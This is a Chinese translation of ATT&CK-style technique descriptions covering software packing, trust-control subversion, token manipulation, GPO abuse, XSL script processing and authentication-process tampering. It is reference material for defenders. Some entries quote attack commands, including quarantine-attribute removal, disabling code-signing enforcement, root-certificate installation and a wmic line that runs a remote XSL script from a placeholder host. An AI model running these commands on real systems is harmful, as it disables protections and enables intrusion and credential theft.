T1027.002 混淆文件或信息:软件打包 攻击者可能执行软件打包或虚拟机软件保护来隐藏其代码。软件打包是一种压缩或加密可执行文件的方法,打包可执行文件可更改文件签名,以避免基于签名的检测,大多数解压缩技术都将在内存中解压可执行代码。虚拟机软件保护是将可执行文件的原始代码转成只有在特定虚拟机中才可以运行的格式,然后调用特定的虚拟机运行此代码。用于执行软件打包的工具被称为打包器,例如:MPRESS 和 UPX,可以使用已知的打包工具,但对于攻击者而言则可能创建自己的打包工具,而不会留下众所周知的打工工具留下的痕迹以逃避防御。
T1027.007 混淆文件或信息:动态API解析 攻击者可能混淆然后动态解析其恶意软件调用的API函数,以隐藏恶意功能并妨碍防御分析。恶意软件通常使用操作系统提供的各种原生API函数来执行各种任务,例如涉及进程、文件和其他系统工件的任务。恶意软件调用的API函数可能会在有效载荷文件中留下静态工件,如字符串。防御分析师还可以通过导入地址表(IAT)或其他帮助将调用代码动态链接到提供函数的共享模块的结构,发现二进制文件可能执行哪些函数。为了避免静态或其他防御分析,攻击者可能使用动态API解析来隐藏恶意软件特征和功能。与软件打包类似,动态API解析可能会更改文件签名并混淆恶意API函数调用,直到它们在运行时被解析和调用。可使用各种方法来混淆恶意软件对API函数的调用。例如,函数名称的哈希通常存储在恶意软件中,而不是文字字符串。恶意软件可以使用这些哈希(或其他标识符)通过GetProcAddress()LoadLibrary()等函数手动重现链接和加载过程。这些哈希/标识符还可以使用加密或其他字符串操作技巧进一步混淆(在执行期间需要各种形式的反混淆/解码文件或信息)。
T1599 桥接网络边界 攻击者可能通过损害周边网络设备来连接到网络边界,通过破坏这些设备可能使攻击者绕过流量路由的限制,否则这些流量路由将可信网络和不可信网络分开。使用诸如路由器和防火墙之类的设备在受信任和不受信任的网络之间创建边界,它们通过限制流量类型以强制实施组策略以降低此类链接固有的风险。可以通过禁止IP地址、协议端口或者深度包检测来识别应用的方式来实现流量限制。为了参与网络的其余部分,这些设备可以直接寻址或透明,但其操作模式与攻击者如何绕过它们无关。当攻击者控制了此类设备时,他们可以绕过设备的控制策略,以在两个分开的网络之间进行传递禁止的流量。通过在设备上获取足够的权限,攻击者可以重新配置策略以允许攻击者想要的流量,从而允许攻击者进行进一步的攻击,在边界上将两个独立的阻止分隔开的情况下,攻击者还可以通过横向移动进入新的受害者环境。
T1599.001 桥接网络边界:网络地址转换遍历 攻击者可以通过修改网络设备的网络地址转换(NAT)配置来桥接网络边界,对NAT的恶意修改可能是攻击者绕过流量路由的限制,否则这些流量路由将可信网络和不可信网络分开。使用诸如路由器和防火墙设备可以将多个网络连接到一起,并在网络之间传递数据包的过程找那个失陷NAT。当执行NAT时,网络设备会重写IP地址的头部的源或目的地址。某些网络设计要求NAT才能使数据包通过边界设备,一个典型的例子是:内部网络使用非Internet路由地址协议的环境。当攻击者获取到网络边界设备的控制权限时,他们可以利用现有NAT配置在两个分隔开的网络之间传递流量,或者他们可以实施自己设计的NAT配置。当要求使用NAT功能的网络中,这将允许攻击者克服路由器固有的限制,该限制通常会阻止攻击者访问边界设备后的受保护系统。在不需要NAT功能的网络中,攻击者可以通过使用地址转换来隐藏其行为,因为更改穿越网络边界的数据包中的地址可能会防御者监控数据传输更具有挑战性。攻击者可以使用Patch System Image去修改网络设备的操作系统,实施攻击者自定义的NAT机制,以进一步掩盖其行为。
T1553 破坏信任控制 攻击者可能会破坏安全控制,而这些安全控制用于警告用户不可信的活动或阻止不可信程序的执行。操作系统和安全产品可能包含识别程序或网站具有某种程度的信任的机制。此类功能的示例包括:因为该程序已由有效的代码签名证书签名而被允许运行;如果程序的属性是从Internet下载而设置的,那么该程序会提示用户警告,或者提示您将要连接到不受信任的站点。攻击者可能试图破坏这些信任机制。攻击者使用的方法将取决于他们试图破坏的特定机制。攻击者可以进行文件和目录权限修改或修改注册表,以破坏这些控件。攻击者还可以创建或窃取代码签名证书,以获取目标系统的信任。
T1553.001 破坏信任控制:Gatekeeper绕过 攻击者可能会修改文件属性,从而破坏了Gatekeeper控制,这些文件属性表示程序来自不受信任的来源。在macOS和OS X中,当应用程序或程序从互联网上下载时,会在com.apple.quarantine文件中设置一个特殊的属性。Apple的Gatekeeper防御程序会在执行时读取此属性,并向用户提供允许或拒绝执行的提示。从USB闪存驱动器、光盘、外部硬盘,甚至从本地网络共享驱动器加载到系统中的应用程序不会设置此标志。另外,可以避免使用Drive-by Compromise设置此标志。这完全绕过了内置的Gatekeeper检查。可以通过xattr命令xattr /path/to/MyApp.app 检查是否存在隔离标志 com.apple.quarantine. 类似地,如果给定sudo访问或提升权限,也可以用xattr删除此属性sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. 在典型操作中,文件将从internet上下载,并在保存到磁盘之前给出隔离标志。当用户试图打开文件或应用程序时,macOS的gatekeeper将介入并检查是否存在此标志。如果存在,那么macOS将提示用户确认他们想要运行程序,甚至将提供应用程序来的来源URL。所有这些都基于从隔离应用程序下载的文件。
T1553.002 破坏信任控制:代码签名 攻击者可能会创建,获取或窃取代码签名材料以对其恶意软件或工具进行签名。代码签名为开发人员提供的二进制文件提供了一定程度的真实性,并保证二进制文件没有被篡改。攻击者可以创建,获取或窃取在操作过程中使用的证书。与无效代码签名不同,此活动将产生有效的签名。代码签名验证软件的首次运行可以在现代Windows和macOS/OS X系统上使用。由于Linux平台的去中心化特性,它没有在Linux上使用。代码签名证书可用于绕过需要在系统上执行签名代码的安全策略。
T1553.003 破坏信任控制:SIP和信任提供程序劫持 进行签名验证检查时,攻击者可能会篡改SIP和信任提供程序组件,从而误导操作系统和应用程序控制工具。在用户模式下,Windows Authenticode数字签名用于验证文件的来源和完整性,这些变量可用于建立对签名代码的信任(例如:可以将具有有效Microsoft签名的驱动程序视为安全的)。签名验证过程是通过WinVerifyTrust应用程序编程接口(API)函数处理的,该函数接受查询并与负责验证签名参数的适当信任提供程序进行协调。由于可执行文件的类型和相应的签名格式各不相同,Microsoft创建了称为主题接口包(SIP)的软件组件,以提供API函数和文件之间的抽象层。sip负责使API函数能够创建、检索、计算和验证签名。对于大多数文件格式存在唯一的sip,并由全局唯一标识符(guid)标识,(例如可执行文件,PowerShell,安装程序,等等,目录签名提供了一个包罗万象的服务)。与代码签名类似,攻击者可能会滥用此体系结构来破坏信任控制并绕过仅允许在系统上执行经过合法签名的代码的安全策略。攻击者可能会劫持SIP和信任提供程序组件,以误导操作系统和应用程序控制工具来对恶意(或任何)代码进行分类,这些签名如下:(1)修改HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{{SIP_GUID}}中的Dll和FuncName注册表值,指向动态链接库(DLL), DLL提供SIP的cryptsipdllgetsignddatamsg函数,该函数从签名文件检索经过编码的数字证书。通过指向恶意构造的DLL的导出函数始终返回一个已知的好签名值(例:微软签名可移植可执行文件),而不是文件真正的签名,攻击者可以使用该值将可接受的签名值应用于所有文件SIP(尽管散列不匹配可能会发生,从而使签名无效,因为该函数返回的散列将与从文件计算出的值不匹配)。(2)修改HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{{SIP_GUID}}中的Dll和FuncName注册表值,指向提供SIP的CryptSIPDllVerifyIndirectData函数的DLL,该函数根据签名的哈希值验证文件的计算哈希值。通过使用带有始终返回TRUE(表示验证成功)的导出函数的恶意制作的DLL,攻击者可以使用该SIP成功地验证任何文件(带有合法签名),无论是否劫持前面提到的CryptSIPDllGetSignedDataMsg该函数。这个注册表值也可以从已经存在的DLL重定向到合适的导出函数,从而避免在磁盘上删除并执行新文件的要求。(3)修改HKLM\SOFTWARE[WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy{{trust provider GUID}}中的DLL和Function注册表值,该DLL提供一个信任提供程序的FinalPolicy函数,该函数检查已解码和解析的签名,并做出大多数信任决策。与截获SIP的CryptSIPDllVerifyIndirectData函数类似,这个值可以从已经存在的DLL或恶意制作的DLL重定向到适当的导出函数(尽管信任提供程序的实现很复杂)。注意:在没有通过DLL搜索顺序劫持修改注册表的情况下,上述劫持也是可能的。劫持SIP或信任提供程序组件还可以支持持久代码执行,因为执行代码签名或签名验证的任何应用程序都可能调用这些恶意组件。
T1553.006 破坏信任控制:代码签名策略修改 攻击者可能修改代码签名策略以允许执行未签名或自签名代码。代码签名为开发人员提供的二进制文件提供一定程度的真实性,并保证二进制文件未被篡改。安全控制可以包括强制机制,以确保只有有效、签名的代码才能在操作系统上运行。其中一些安全控制可能默认启用,例如Windows上的驱动程序签名强制(DSE)或macOS上的系统完整性保护(SIP)。其他此类控制可能默认禁用,但可通过应用程序控制进行配置,例如仅允许签名的动态链接库(DLL)在系统上执行。由于开发人员在应用程序开发和测试期间修改默认签名强制策略可能很有用,因此可以使用提升的权限禁用这些功能。攻击者可能通过多种方式修改代码签名策略,包括使用命令行或GUI实用程序、修改注册表、在调试/恢复模式下重新启动计算机,或更改内核内存中的变量值。可修改系统代码签名策略的命令示例包括Windows上的bcdedit.exe -set TESTSIGNING ON和macOS上的csrutil disable。根据实现,成功修改签名策略可能需要重新启动受感染的系统。此外,某些实现可能会为用户引入可见工件(例如,屏幕角落的水印表明系统处于测试模式)。攻击者可能尝试删除此类工件。为了访问内核内存以修改与签名检查相关的变量,例如修改g_CiOptions以禁用驱动程序签名强制,攻击者可能使用已签名但易受攻击的驱动程序进行权限提升利用。
T1553.005 破坏信任控制:Web标记绕过 攻击者可能滥用特定文件格式来颠覆Web标记(MOTW)控制。在Windows中,当从Internet下载文件时,它们会被标记一个名为Zone.Identifier的隐藏NTFS备用数据流(ADS),其中包含特定值,称为MOTW。带有MOTW标记的文件受到保护,无法执行某些操作。例如,从MS Office 10开始,如果MS Office文件具有MOTW,它将在受保护视图中打开。带有MOTW标记的可执行文件将由Windows Defender SmartScreen处理,该工具将文件与已知可执行文件的允许列表进行比较。如果文件未知/不受信任,SmartScreen将阻止执行并警告用户不要运行它。攻击者可能滥用容器文件,如压缩/存档(.arj、.gzip)和/或磁盘映像(.iso、.vhd)文件格式,以传递可能未用MOTW标记的恶意有效载荷。从Internet下载的容器文件将用MOTW标记,但容器文件提取和/或挂载后,其中的文件可能不会继承MOTW。MOTW是NTFS功能,许多容器文件不支持NTFS备用数据流。容器文件提取和/或挂载后,其中包含的文件可能被视为磁盘上的本地文件并无需保护即可运行。
T1553.004 破坏信任控制:安装根证书 攻击者可能会在受感染的系统上安装根证书,以避免在连接到攻击者控制的Web服务器时发出警告。根证书在公共密钥加密中用于标识根证书颁发机构(CA)。安装根证书后,系统或应用程序将信任由根证书签名的根信任链中的证书。证书通常用于在Web浏览器中建立安全的TLS / SSL通信。当用户尝试浏览提供不可信证书的网站时,将显示错误消息,以警告用户安全风险。根据安全设置,浏览器可能不允许用户建立与网站的连接。在受感染的系统上安装根证书会为攻击者提供降低该系统安全性的方法。攻击者已使用此技术来避免当受感染的系统通过HTTPS连接到攻击者控制的Web服务器时,安全警告提示用户,这些Web服务器欺骗了合法网站以收集登录凭据。非典型根证书也已由制造商或软件供应链预先安装在系统上,并与恶意软件/广告软件结合使用,以提供中间人功能来拦截通过安全TLS / SSL通信传输的信息。根证书(及其关联链)也可以被克隆和重新安装。克隆的证书链将携带源的许多相同的元数据特征,并可用于对恶意代码进行签名,从而可能绕过用于阻止执行和/或揭露持久性工件的签名验证工具(如Sysinternals、反病毒等)。macOS中,Ay MaMi恶意软件使用 /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert将恶意证书作为受信任的根证书安装到系统密钥链中。
T1197 后台智能传输服务(BITS)滥用 Windows后台智能传输服务(BITS)是一种通过组件对象模型(COM)公开的低宽带异步文件传输机制。BITS通常由更新程序、信息传递程序和其它希望在后台允许的应用程序组成(使用空闲的宽带、不中断其它联网应用程序)。文件传输任务作为BITS作业实现,其中包含一个或多个文件操作队列。攻击者可使用PowerShell和BITSAdmin工具来创建和管理BITS Jobs。运行恶意代码后可用BITS进行下载、执行甚至删除。BITS Jobs任务包含在BITS任务的数据库中,没有新文件创建或注册表修改,并通常被主机防火墙允许,启用BITS任务可长期执行(默认最大寿命为90天且可以扩展)或在作业完成或出错时,调用任意程序来重启持久性。BITS的上传功能还可用于T1048(通过替代协议渗出数据)
T1221 模板注入 Microsoft的Office Open XML(OOXML)规范为Office文档(.docx,xl​​sx,.pptx)定义了一种基于XML的格式,以替换较旧的二进制格式(.doc,.xls,.ppt)。OOXML文件打包在一起,是由各种XML文件构成的ZIP归档文件。攻击者可能利用该技术来隐藏文档执行的恶意代码,注入到文档中的模板引用可以使Payload能够在加载文档时被提取并执行。这些文档可以通过网络钓鱼或污染共享内容之类的技术来传递,并且由于在获取Payload之前没有典型的指示符(VBA宏,脚本等),该技术可以避开静态检测。在野已发现使用模板注入来加载包含漏洞的恶意代码。此技术还可以通过注入SMB / HTTPS(或其他凭据提示)URL并触发身份验证尝试来启用强制身份验证。
T1134 操纵访问令牌 Windows使用访问令牌来确定正在运行进程的所有权。操作访问令牌致使正在运行的进程看起来像是其它进程的子进程,或者好像属于启动该进程的用户之外的其他人。发生这种情况时,该过程还将采用与新令牌关联的安全性上下文。攻击者可以使用内置的windows API函数来复制现有进程中的访问令牌,被称为“令牌窃取”,然后将这些令牌用于现有进程或创建新的进程,攻击者必须在管理员的权限下才能窃取令牌,但是却可以将管理员权限提升至system权限,可使用令牌向远程系统进行身份认证。任何用户都可以使用ranas命令和windows API函数来创建模拟令牌,不需要访问管理员账户,还有其它机制,例如Active Directory可用于修改访问令牌。
T1134.002 操纵访问令牌:使用令牌创建进程 攻击者使用DuplicateToken(Ex)复制所需的访问令牌,并将其与CreateProcessWithTokenW一起使用创建在模拟用户的上下文中运行新进程。可用于在其他用户的安全上下文中创建新进程。
T1134.001 操纵访问令牌:模拟或窃取令牌 攻击者可以使用DuplicateToken复制现有令牌来创建一个新的访问令牌,该令牌可以与ImpersonateLoggedOnUser一起使用,以调用线程模拟已登录的用户上下文,或者与SetThreadToken一起使用,将模拟令牌分配给线程。当目标用户在系统中不具备网络登录会话时,可以将新令牌分配给现有进程。
T1134.003 操纵访问令牌:制作和模拟令牌 如果攻击者拥有用户名和密码,但是用户未登录到系统,则攻击者可以使用LogonUser函数为用户创建登录会话。该函数将返回新会话的访问令牌的副本,并且攻击者可以使用SetThreadToken将令牌分配给线程。
T1134.004 操纵访问令牌:父级进程ID欺骗 除非明确指定,否则通常直接从其父进程或调用进程中产生新进程。通过调用CreateProcess API分配可疑新进程的PPID,该调用支持定义要使用的PPID的参数。当某个进程需要被提升至SYSTEM系统权限时,这种机制常被Windows UAC(账户控制功能)使用,它会为进程设置正确的PPID。攻击者可能会滥用这种机制来逃避防御,例如,阻止像PowerShell/Rundell32这样的异常/恶意的进程直接由Office文档的PPID产生,并将其欺骗成explorer.exe。这种欺骗可以通过Visual Basic或本机API实现。给PPID分配权限还能实现提升权限,例如一个特权用户(例如administrator)的上下文中可以生成一个新进程,并将父进程(例如Isass.exe)分配为SYSTEM权限,从而使进程通过继承而来的令牌提升权限。
T1134.005 操纵访问令牌:SID历史注入 Windows安全标识符(SID)是标识用户或组帐户的唯一值。 SID被用于windows安全描述符和访问令牌中。一个账户可以在其SID历史中保留多个SID Active Directory属性,目的是为了在跨域访问时能够实现互操作(例如SID历史中的所有值都保留在访问令牌中)。借助域管理员权限,可以将收集到的已知SID值插入SID历史当中,以模仿任何用户/组,例如企业管理员。通过借助远程服务、windows Admin share或 远程管理等横向移动技术,可以实现某账户对本地资源或跨域的高权限访问。
T1622 调试器规避 攻击者可能采用各种方法来检测和避开调试器。调试器通常由防御者用于跟踪和/或分析潜在恶意软件有效载荷的执行。调试器规避可能包括基于对指示调试环境的工件存在性的检查结果来更改行为。类似于虚拟化/沙箱规避,如果攻击者检测到调试器,他们可能会更改其恶意软件以脱离受害者或隐藏植入程序的核心功能。他们还可能在丢弃次要或其他有效载荷之前搜索调试器工件。特定检查将根据目标和/或攻击者而有所不同,但可能涉及原生API函数调用,如IsDebuggerPresent()和NtQueryInformationProcess(),或手动检查进程环境块(PEB)的BeingDebugged标志。其他对调试工件的检查也可能试图枚举硬件断点、中断汇编操作码、时间检查,或测量当前进程中是否引发异常(假设存在的调试器会“吞下”或处理潜在错误)。攻击者可能在自动发现过程中使用从这些调试器检查中学到的信息来塑造后续行为。调试器也可以通过分离进程或通过循环原生API函数调用(如OutputDebugStringW())产生的消息向调试日志中填充无意义数据来规避。
T1484 组策略修改 组策略允许集中管理Active Directory(AD)中的用户和计算机设置。GPO是用于组策略设置的容器,该组策略设置由存储在可预测网络路径中的文件组成\SYSVOL\Policies\。像AD中的其他对象一样,GPO具有与其关联的访问控制。默认情况下,域中的所有用户帐户都具有读取GPO的权限。可以将GPO访问控制权限(例如写访问权限)委派给域中的特定用户或组。恶意GPO修改可用于实施计划任务,禁用安全工具,远程文件复制,创建帐户,服务执行等。由于GPO可以控制AD环境中的众多用户和计算机设置,因此,这种GPO滥用可能会导致大量潜在的攻击。可通过修改GPO设置(在本例中为修改)New-GPOImmediateTask来利用公开可用的脚本(例如)来自动执行恶意的计划任务\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml。在某些情况下,攻击者可能会修改特定的用户权限,例如SeEnableDelegationPrivilege(在中设置)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf,以实现对域的完全控制的微妙的AD后门,因为在攻击者的控制下的用户帐户便可以修改GPO。
T1484.002 组策略修改:域信任修改 攻击者可能添加新的域信任或修改现有域信任的属性,以逃避防御和/或提升权限。域信任详细信息(例如域是否联合)允许身份验证和授权属性在域之间应用,以访问共享资源。这些信任对象可能包括应用于服务器、令牌和域的帐户、凭据和其他身份验证材料。操纵域信任可能允许攻击者通过修改设置以添加他们控制的对象来提升权限和/或逃避防御。例如,这可用于伪造SAML令牌,而无需泄露签名证书来伪造新凭据。相反,攻击者可以操纵域信任以添加自己的签名证书。攻击者还可以将域转换为联合域,这可能启用恶意信任修改,例如更改声明颁发规则以将任何有效凭据集作为指定用户登录。
T1484.001 组策略修改:组策略对象修改 攻击者可能修改组策略对象(GPO)以颠覆域的预期自主访问控制,通常目的是提升域上的权限。组策略允许集中管理Active Directory(AD)中的用户和计算机设置。GPO是由存储在可预测网络路径\\SYSVOL\\Policies\中的文件组成的组策略设置容器。与AD中的其他对象一样,GPO具有与其关联的访问控制。默认情况下,域中的所有用户帐户都有权读取GPO。可以将GPO访问控制权限(例如写访问权限)委派给域中的特定用户或组。恶意GPO修改可用于实施许多其他恶意行为,如计划任务/作业、禁用或修改工具、入口工具传输、创建帐户、服务执行等。由于GPO可以控制AD环境中的许多用户和计算机设置,因此这种GPO滥用可能会引发大量潜在攻击。例如,可以利用诸如New-GPOImmediateTask之类的公开可用脚本,通过修改GPO设置(在本例中修改\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml)来自动创建恶意计划任务/作业。在某些情况下,攻击者可能会修改特定的用户权限,如SeEnableDelegationPrivilege(在\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf中设置),以实现具有域完全控制权的微妙AD后门,因为攻击者控制下的用户帐户将能够修改GPO。
T1220 XSL 脚本处理 可扩展样式表语言 (XSL) 文件通常用于描述 XML 文件中的数据处理和渲染方式。为了支持复杂的操作,XSL 标准包括对各种语言的嵌入式脚本的支持。攻击者可能会滥用此功能来执行任意文件,同时可能会绕过应用程序白名单防御。与可信的开发人员实用程序 (Trusted Developer Utilities) 类似,可以安装 Microsoft 命令行转换实用程序 (msxsl.exe),并使用它来执行嵌入在本地或远程(通过 URL 引用的)XSL 文件中的恶意 JavaScript。因为在默认情况下不会安装 msxsl.exe ,攻击者可能需要将其与删除的文件打包。命令行示例: msxsl.exe customers[.]xml script[.]xsl 这种技术的另一种变体,称为“Squiblytwo”,涉及使用 Windows 管理规范在 xsl 文件中调用 JScript 或 VBScript。该技术还可以执行本地/远程脚本,类似于 Regsvr32/“Squiblydoo”,它利用了一个受信的内置 Windows 工具。命令行示例: 本地文件:wmic process list /FORMAT:evil[.]xsl 远程文件:wmic os get /FORMAT:“https[:]//example[.]com/evil[.]xsl”
T1556 修改身份验证进程 攻击者可能恶意修改身份验证过程的部分内容,以泄露凭据或绕过身份验证机制,受到攻击的凭据和访问权限可用于绕过防止在网络系统上对各种资源的访问控制,甚至可以被用于持久化远程访问系统和外部可用服务,例如VPNs、Outlook Web Access和远程桌面。
T1556.003 修改身份验证进程:可插拔验证模块 攻击者可能会修改可插拔身份验证模块(PAM)以访问用户凭据或者启用未经授权的账户访问。PAM是配置文件、动态库和执行文件的模块化系统,可指导许多服务的身份验证。常见的身份验证模块是pam_unix.so,其在/etc/passwd和/etc/shadow中检索、设置和验证账户身份信息。攻击者可能修改PAM系统的组件以创建后门,PAM组件(如pam_unix.so)可以进行修补,以获取任意攻击者提供的值作为合法凭据。恶意的修改PAM系统也可以用于窃取凭据,攻击者可以代码感染PAM资源以获取用户凭据,因为与PAM组件交换的值可能是明文,PAM不存储密码。
T1556.002 修改身份验证进程:密码过滤器DLL 攻击者可能将恶意密码过滤器动态链接库(DLL)注册到身份验证过程中,以在验证用户凭证的时候获取凭据。Windows密码筛选器是域账户和本地账户密码策略强制执行的机制,筛选器作为一个DLL进行实现,其包含一种根据密码策略验证潜在违反密码策略的方法。筛选器DLL可以位于本地计算机(作用于本地账户)和域控(作用域域账户)上,在本地安全机构(LSA)中注册新密码之前,LSA会要求每个要求每个注册过滤器进行验证,在每个注册的过滤器都确认有效之前,任何潜在的更改都不会发生。攻击者可以注册恶意密码过滤器,已从本地计算机或整个域中获取凭据,为了执行正确的验证,筛选器必须从LSA中接受明文凭据,每次提出密码请求时,恶意密码筛选器都会接受这些明文凭据。
T1556.007 修改身份验证进程:混合身份 攻击者可能修补、修改或以其他方式后门化与本地用户身份绑定的云身份验证过程,以绕过典型的身份验证机制、访问凭据并启用对账户的持久访问。许多组织维护在本地和基于云的环境之间共享的混合用户和设备身份。这些可以通过多种方式维护。例如,Azure AD包括三种在Active Directory和Azure AD之间同步身份的选项:密码哈希同步(PHS),其中特权本地账户在Active Directory和Azure AD之间同步用户密码哈希,允许对Azure AD的身份验证完全在云中进行直通身份验证(PTA),其中Azure AD身份验证尝试被转发到本地PTA代理,该代理针对Active Directory验证凭据*Active Directory联合服务(AD FS),其中在Active Directory和Azure AD之间建立信任关系AD FS还可与其他SaaS和云平台(如AWS和GCP)一起使用,这些平台会将身份验证过程移交给AD FS并接收包含混合用户身份和特权的令牌。通过修改与混合身份相关的身份验证过程,攻击者可能能够建立对云资源的持久特权访问。例如,攻陷运行PTA代理的本地服务器的攻击者可能会将恶意DLL注入AzureADConnectAuthenticationAgentService进程,该进程授权所有尝试对Azure AD进行身份验证的尝试,并记录用户凭据。在使用AD FS的环境中,攻击者可能编辑Microsoft.IdentityServer.Servicehost配置文件以加载恶意DLL,该DLL为具有任何声明集的任何用户生成身份验证令牌,从而绕过多因素身份验证和已定义的AD FS策略。在某些情况下,攻击者可能能够从云中修改混合身份验证过程。例如,攻陷Azure AD租户中全局管理员账户的攻击者可能能够通过Web控制台注册新的PTA代理,类似地允许他们获取凭据并以任何用户身份登录Azure AD环境。
T1556.006 修改身份验证进程:多因素身份验证 攻击者可能禁用或修改多因素身份验证(MFA)机制,以启用对已攻陷账户的持久访问。一旦攻击者通过攻陷缺乏MFA的账户或采用MFA绕过方法(如多因素身份验证请求生成)获得网络访问,他们可能会利用其访问权限修改或完全禁用MFA防御。这可以通过滥用合法功能来实现,例如将用户排除在Azure AD条件访问策略之外、注册新的但易受攻击/攻击者控制的MFA方法,或通过手动修补MFA程序和配置文件以绕过预期功能。例如,修改Windows主机文件(C:\windows\system32\drivers\etc\hosts)以将MFA调用重定向到本地主机而不是MFA服务器,可能导致MFA过程失败。如果实施了“故障开放”策略,任何 otherwise 成功的身份验证尝试都可能被授予访问权限而不强制执行MFA。根据攻击者的范围、目标和权限,MFA防御可能会针对单个账户或与更大组(如受害者网络环境中的所有域账户)绑定的所有账户禁用。
T1556.001 修改身份验证进程:域控身份验证 攻击者可能会在域控上修补身份验证过程,以绕过典型的身份验证机制并启用对账户的访问。恶意软件可能被用于向域控上的身份验证过程中注入虚假凭据,以创建用于访问任意用户账户和凭据的后门(如万能钥匙)。万能钥匙通过企业域控身份验证过程(LSASS)上具有凭据的补丁来工作,该凭据可以使攻击者绕过标准的身份验证系统,一旦打上该补丁,攻击者可以使用注入的密码作为任何域用户账户成功进行身份认证(直到通过重启域控从内存中删除万能钥匙),认证访问可能在单因素环境下实现对主机或资源的不受限制的访问。
T1556.005 修改身份验证进程:可逆加密 攻击者可能滥用Active Directory身份验证加密属性来获取Windows系统上的凭据。AllowReversiblePasswordEncryption属性指定是否启用或禁用账户的可逆密码加密。默认情况下,此属性是禁用的(而是将用户凭据存储为单向哈希函数的输出),除非遗留或其他软件需要,否则不应启用。如果启用了该属性和/或用户在启用后更改了密码,攻击者可能能够获取在启用该属性后创建/更改的密码的明文。要解密密码,攻击者需要四个组件:1.来自Active Directory用户结构userParameters的加密密码(G$RADIUSCHAP)2.同样来自userParameters的16字节随机生成值(G$RADIUSCHAPKEY)3.全局LSA密钥(G$MSRADIUSCHAPKEY)4.远程访问子身份验证DLL(RASSFM.DLL)中硬编码的静态密钥有了这些信息,攻击者可能能够重现加密密钥并随后解密加密的密码值。攻击者可以通过本地组策略编辑器、用户属性、细粒度密码策略(FGPP)或通过ActiveDirectory PowerShell模块在各种范围内设置此属性。例如,如果域功能级别设置为“Windows Server 2008”或更高,攻击者可能会实施并应用FGPP到用户或组。在PowerShell中,攻击者可能使用类似于Set-ADUser -AllowReversiblePasswordEncryption $true的命令对用户设置进行相关更改。
T1556.004 修改身份验证进程:网络设备认证 攻击者可能使用修补系统映像在操作系统中对密码进行硬编码,从而绕过网络设备上本地账户的本机身份验证机制。修改系统映像可能包含将代码植入到操作系统中,以供攻击者使用特定的密码进行访问,修改包括特定密码,该密码通过补丁植入到操作系统的映像中。尝试进行身份验证时,插入的代码将首先检查用户输入的密码是否正确,如果正确则授予访问权限,否则植入的代码将传递凭据,以验证可能有效的凭据。